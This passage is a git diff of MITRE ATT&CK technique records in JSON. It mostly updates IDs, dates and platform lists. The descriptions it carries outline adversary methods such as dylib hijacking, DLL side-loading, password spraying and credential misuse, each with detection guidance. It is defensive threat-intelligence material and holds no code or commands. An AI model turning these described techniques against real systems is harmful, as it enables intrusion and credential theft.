-                    "url": "http://www.aorato.com/labs/pass-the-ticket/"
-                },
                 {
                     "source_name": "ADSecurity AD Kerberos Attacks",
                     "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                     "url": "https://adsecurity.org/?p=556"
                 },
                 {
-                    "source_name": "GentilKiwi Pass the Ticket",
-                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
-                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
+                    "source_name": "CERT-EU Golden Ticket Protection",
+                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                 },
                 {
                     "source_name": "Campbell 2014",
@@ -44,32 +38,23 @@
                     "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                 },
                 {
-                    "source_name": "CERT-EU Golden Ticket Protection",
-                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
+                    "source_name": "GentilKiwi Pass the Ticket",
+                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
+                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Ryan Becwar"
+                "Ryan Becwar",
+                "Vincent Le Toux"
             ],
             "x_mitre_data_sources": [
                 "Authentication logs"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Requires Microsoft Windows as a target system and Kerberos authentication enabled."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228.json b/enterprise-attack/attack-pattern/attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228.json
index d2d2fd7ab3..6258a2d50e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--405608be-fdac-4efd-969e-883b1dd12ac3",
+    "id": "bundle--841d1248-c232-40ba-a407-8b1fab28b912",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:50.342Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Graphical User Interface",
-            "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -39,21 +39,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_remote_support": true
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd.json b/enterprise-attack/attack-pattern/attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd.json
index 96e2c2d57d..29d975f58a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c86cec1c-c28f-4b67-b24e-90c5e2c14500",
+    "id": "bundle--2c979278-2c6a-478d-8c92-87109da5bda0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:22.767Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Brute Force",
-            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
+            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -52,21 +52,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda.json b/enterprise-attack/attack-pattern/attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda.json
index 918b86d695..96186edeb0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9432cdc9-834d-453a-aa26-580be9ae8cd6",
+    "id": "bundle--579d989c-7aac-4b10-8250-188049d1c758",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dylib Hijacking",
-            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X).\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
+            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -52,8 +52,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842.json b/enterprise-attack/attack-pattern/attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842.json
index 066a70a7bd..bfb83b038e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a87f1464-1558-4aaa-accd-e5bdb8c8c05e",
+    "id": "bundle--a5cc113e-3564-4363-8a22-2a2d27ef2615",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:18.931Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Obfuscation",
-            "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
+            "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c.json b/enterprise-attack/attack-pattern/attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c.json
index ea281b3e74..5308d6ec23 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5181c081-64d1-4fb5-956b-38b0c3cca897",
+    "id": "bundle--f5e5fd78-c946-4aa6-a83e-2bcdfb2a38e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Network Shared Drive",
-            "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
+            "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Privileges to access network shared drive"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81.json b/enterprise-attack/attack-pattern/attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81.json
index 587acd9ee2..1c1e693909 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--485b8540-7fe0-4888-af81-8b596feab73a",
+    "id": "bundle--91b264c3-07d8-40ff-bafc-0918dbe15c24",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:00.645Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Valid Accounts",
-            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
+            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -66,21 +66,9 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09.json b/enterprise-attack/attack-pattern/attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09.json
index 04cd4a8532..2e703014e2 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82c777ef-7a3a-400b-a9db-97112429a5fa",
+    "id": "bundle--f6c6ef11-6d7b-4347-bf4a-84d98ca84884",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:58.007Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Side-Loading",
-            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
+            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,18 +47,7 @@
                 "Process whitelisting"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839.json b/enterprise-attack/attack-pattern/attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839.json
index ded4f8fed7..910c66c99b 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0397486-e93a-48a8-bf11-e5013ba6b7b0",
+    "id": "bundle--109ee663-e75e-4947-bff0-747d1c20dfbc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploitation of Vulnerability",
-            "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, 